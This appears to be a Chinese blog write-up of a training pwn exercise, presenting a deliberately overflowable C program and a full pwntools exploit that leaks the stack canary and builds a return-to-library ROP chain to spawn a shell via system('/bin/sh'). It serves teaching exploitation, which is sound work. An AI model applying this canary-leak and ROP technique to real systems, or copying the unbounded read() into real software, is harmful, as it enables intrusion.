【How2Pwn】Return to Library问题

0x00 源代码

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";
int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Add system function to plt's entry
  system("echo 'system@plt'");
  
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  return 0;
}

问题来源

0x01 代码情况

通过checksec来查看代码情况

$ gcc -o rtl rtl.c -fno-PIE -no-pie
$ checksec rtl
[*] '/home/hhro/dreamhack/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这里我们启用了Canary,NX,并且在最新版本的linux下如果没有特殊说明,则ASLR也处于启用的状态。

0x02 弱点分析

1. “/bin/sh”

首先可以看见第五行的代码,这是为了将/bin/sh添加入代码段而编写的代码。需要注意的是就算ASLR启用,PIE没有启用的情况下 代码段和数据段的地址是固定的。

const char* binsh = "/bin/sh";

2. system在PLT

在buf经过初始化之后,我们可以看到一段代码

system("echo 'system@plt'");

这是为了将system函数加入PLT表中,由于PIE没有启用,所以知道库函数的基地址就可以直接调用

3. Buffer Overflow

我们知道,buf的大小为0x30,但是read()可以读入0x100个字符,所以这里可以进行溢出,并且整个程序我们一共可以溢出两次。我们利用第一次溢出来获取canary,第二次来进行Return to Library攻击。

0x03 设计Exploit

1. 绕开Canary

根据上面所分析的内容,我们第一步需要获取Canary的值,用于第二次的攻击。

2. 利用system(“/bin/sh”)获得shell

刚刚我们知道函数的地址都是固定的,所以用gdb就可以得到"/bin/sh"的地址,而plt表中已经保存了system函数的地址,所以很轻松就可以解决这一步。

3. 为什么不使用shellcode

因为这个程序开启了NX,函数的返回地址是随机的。所以就算在buf写入shellcode我们也没办法得到buf的地址,现在我们需要利用Return gadget打断原有函数的流程。

0x04 编写Exploit

1. 获得Canary

对程序进行分析,这里我使用gdb分析发现。buf位于rbp-0x40,canary的值保存在rbp-0x8的位置。所以我们需要向buf里输入0x39个字符。

pwndbg> disass main
Dump of assembler code for function main:
   0x00000000004006f7 <+0>:	push   rbp
   0x00000000004006f8 <+1>:	mov    rbp,rsp
=> 0x00000000004006fb <+4>:	sub    rsp,0x40     //buf在这里
   0x00000000004006ff <+8>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400708 <+17>:	mov    QWORD PTR [rbp-0x8],rax  //这里是canary
   0x000000000040070c <+21>:	xor    eax,eax
   0x000000000040070e <+23>:	mov    rax,QWORD PTR [rip+0x20095b]        # 0x601070 <stdin@@GLIBC_2.2.5>

Exploit 第一部分

from pwn import *

p = process("./rtl")
e = ELF("./rtl")

def slog(name, addr): 
		return success(": ".join([name, hex(addr)]))
		
# Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

2. 寻找可以利用的gadget

我们利用ROPgadget工具寻找可以利用的ret代码片段。

$ ROPgadget --binary ./rtl --re "pop rdi"
Gadgets information
============================================================
0x0000000000400853 : pop rdi ; ret

Unique gadgets found: 1

3. 打印出"/bin/sh",system函数的地址

利用gdb可以知道/bin/sh被保存在0x400874地址上。

pwndbg> search /bin/sh
rtl             0x400874 0x68732f6e69622f /* '/bin/sh' */
rtl             0x600874 0x68732f6e69622f /* '/bin/sh' */
libc-2.31.so    0x7ffff7f775bd 0x68732f6e69622f /* '/bin/sh' */

刚刚提到system函数已经在plt表中了,所以我们继续打印plt表,看到0x4005d0位置上是system函数。

pwndbg> plt
0x4005b0: puts@plt
0x4005c0: __stack_chk_fail@plt
0x4005d0: system@plt
0x4005e0: printf@plt
0x4005f0: read@plt
0x400600: setvbuf@plt

需要特别注意的点

ripsystem函数中移动时,堆栈必须以0x10的单位进行移动的,这是由于system函数中的movaps命令导致的,它会让堆栈按照0x10的单位排列,若没有则会出现错误。如果写的exploit没有任何问题却发生了Segmentation Fault问题的话,可以在前面写入一个没有任何作用的gadget就可以解决这个问题。16进制下 8(任意gadget) + 8(rdi) = 0x10

0x05 完整的Exploit

from pwn import *

p = process("./rtl")
e = ELF("./rtl")

def slog(name, addr): 
		return success(": ".join([name, hex(addr)]))
		
# Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)

# Return to Library
ret = 0x0000000000400285   # 没用的gadget,一般用ret
rdi = 0x0000000000400853   # pop rdi
system = 0x4005d0          # system的地址
binsh = 0x400874           # /bin/sh的地址

payload = b'A'*0x38
payload += p64(cnry)
payload += b'B'*0x8   #sfp
payload += p64(ret)
payload += p64(rdi)
payload += p64(binsh)
payload += p64(system)

p.sendafter("Buf: ", payload)

p.interactive()

0x6 结果

$ python ex_rtl.py
[+] Starting local process './rtl': pid 5673
[*] '/home/workspace/dreamhack/ASLR_NX/rtl/rtl'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:812: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[+] canary: 0x2e4534f18484b400
[*] Switching to interactive mode

如果有错误或者不到位的地方,请直接评论或者私信我

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值